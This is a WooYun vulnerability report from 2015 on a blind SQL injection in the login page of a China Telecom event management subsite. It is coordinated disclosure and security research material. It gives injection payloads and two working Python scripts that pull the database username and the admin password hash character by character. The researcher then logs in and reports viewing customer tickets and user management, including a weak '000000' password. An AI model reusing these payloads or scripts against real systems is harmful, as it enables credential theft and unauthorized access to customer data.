当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0137233

漏洞标题:中国电信某分站存在SQL注入漏洞泄漏大量敏感信息(附验证脚本)

相关厂商:中国电信

漏洞作者: 浮萍

提交时间:2015-08-29 09:05

修复时间:2015-10-15 17:48

公开时间:2015-10-15 17:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-29: 细节已通知厂商并且等待厂商处理中
2015-08-31: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-09-10: 细节向核心白帽子及相关领域专家公开
2015-09-20: 细节向普通白帽子公开
2015-09-30: 细节向实习白帽子公开
2015-10-15: 细节向公众公开

简要描述:

SQL注入

详细说明:

http://**.**.**.**/web/login.do
中国电信增值业务运营中心事件管理系统

选区_222.png


当输入不存在的用户时 会提示用户名不存在

选区_223.png


当输入a'or'1'='1时

选区_224.png


提示密码错误

选区_225.png


抓包
用户名输入admin时
提示密码错误
表示存在用户admin

选区_226.png


admin'and/**/length(SYS_CONTEXT('USERENV','CURRENT_USER'))>0/**/and'a'='a


选区_227.png


admin'and/**/length(SYS_CONTEXT('USERENV','CURRENT_USER'))=8/**/and'a'='a


选区_228.png


表示当前用户有8位
根据猜解

admin'and/**/substr(SYS_CONTEXT('USERENV','CURRENT_USER'),1,1)='B'/**/and'a'='a


选区_229.png


第一位为B
根据验证脚本获取到如下结果

选区_230.png


可知当期用户为BRIGHTSM
验证脚本如下

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payloads = 'ABCDEFGHIGKLMNOPQRSTUVWXYZ@_0123456789'
#payloads ='0123456789ABCDEF'
print 'start to retrive user:'
user = ''
for i in range(1,9):
for payload in payloads:
conn = httplib.HTTPConnection('**.**.**.**',timeout=60)
params = {
'j_password': '0cc175b9c0f1b6a831c399e269772661',
'txtPassword': 'a',

'j_username': "admin'and/**/ascii(SUBSTR(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1))=%s" % (i, ord(payload)) +"/**/and/**/'a'='a",

'txtUserName': 'a',

'x':61,

'y':26
}
conn.request(method='POST',
url='/web/j_security_check',
body = urllib.urlencode(params),
headers = headers)
resp = conn.getresponse()
html_doc = resp.read()
conn.close()
print '.',
if html_doc.count('密码错误!') > 0: # True
user += payload
print '\n[in progress]', user
break
print 'user is', user


漏洞证明:

同样
可以获取到用户的密码
这里以admin为例
已知密码为md5加密 这里截取9-24位

admin'and/**/ascii(SUBSTR(password,1,1))=49/**/and/**/'a'='a


选区_231.png


则第9位对应的密码为1
附脚本

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payloads ='0123456789ABCDEF'
print 'start to retrive admin\'s password:'
user = ''
for i in range(9,25):
for payload in payloads:
conn = httplib.HTTPConnection('**.**.**.**',timeout=60)
params = {
'j_password': '0cc175b9c0f1b6a831c399e269772661',
'txtPassword': 'a',
'j_username': "admin'and/**/ascii(SUBSTR(password,%s,1))=%s" % (i, ord(payload)) +"/**/and/**/'a'='a",

'txtUserName': 'a',

'x':61,

'y':26
}
conn.request(method='POST',
url='/web/j_security_check',
body = urllib.urlencode(params),
headers = headers)
resp = conn.getresponse()
html_doc = resp.read()
conn.close()
#print html_doc
#print params
print '.',
if html_doc.count('密码错误!') > 0: # True
user += payload
print '\n[in progress]', user
break
print '\nadmin\'s password is', user


选区_232.png


则对应的加密后的密码为1820×××××××A8FBD2
解密后结果为7u×××OKM
登录

选区_233.png


客服工单

选区_234.png


详情

选区_235.png


条数

选区_236.png


选区_237.png


用户管理
(存在弱口令000000)

选区_238.png


选区_239.png


可以同步用户的权限

选区_240.png


选区_241.png


修复方案:

版权声明:转载请注明来源 浮萍@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-08-31 17:46

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调网站管理单位处置。

最新状态:

暂无